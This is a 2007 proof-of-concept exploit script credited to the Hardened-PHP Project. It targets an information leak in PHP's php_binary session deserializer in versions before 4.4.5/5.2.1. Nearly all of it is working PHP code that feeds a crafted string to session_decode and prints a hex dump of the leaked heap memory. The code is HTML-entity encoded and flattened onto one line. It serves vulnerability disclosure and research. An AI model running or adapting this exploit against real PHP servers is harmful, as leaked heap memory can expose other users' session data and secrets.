PHP < 4.4.5 / 5.2.1 php_binary Session Deserialization Information Leak

&#60;?php //////////////////////////////////////////////////////////////////////// // _ _ _ _ ___ _ _ ___ // // | || | __ _ _ _ __| | ___ _ _ ___ __| | ___ | _ \| || || _ \ // // | __ |/ _` || &#39;_|/ _` |/ -_)| &#39; \ / -_)/ _` ||___|| _/| __ || _/ // // |_||_|\__,_||_| \__,_|\___||_||_|\___|\__,_| |_| |_||_||_| // // // // Proof of concept code from the Hardened-PHP Project // // (C) Copyright 2007 Stefan Esser // // // //////////////////////////////////////////////////////////////////////// // PHP php_binary Session Deserialization Information Leak // //////////////////////////////////////////////////////////////////////// // This is meant as a protection against remote file inclusion. die(&#34;REMOVE THIS LINE&#34;); ini_set(&#34;session.serialize_handler&#34;, &#34;php_binary&#34;); session_start(); $x = chr(36).str_repeat(&#34;A&#34;, 36).&#34;N;&#34;.chr(127); $data = $x; session_decode($data); $keys = array_keys($_SESSION); $heapdump = $keys[1]; echo &#34;Heapdump\n---------\n\n&#34;; $len = strlen($heapdump); for ($b=0; $b&#60;$len; $b+=16) { printf(&#34;%08x: &#34;, $b); for ($i=0; $i&#60;16; $i++) { if ($b+$i&#60;$len) { printf (&#34;%02x &#34;, ord($heapdump[$b+$i])); } else { printf (&#34;.. &#34;); } } for ($i=0; $i&#60;16; $i++) { if ($b+$i&#60;$len) { $c = ord($heapdump[$b+$i]); } else { $c = 0; } if ($c &#62; 127 || $c &#60; 32) { $c = ord(&#34;.&#34;); } printf (&#34;%c&#34;, $c); } printf(&#34;\n&#34;); } ?&#62; # milw0rm.com [2007-03-04]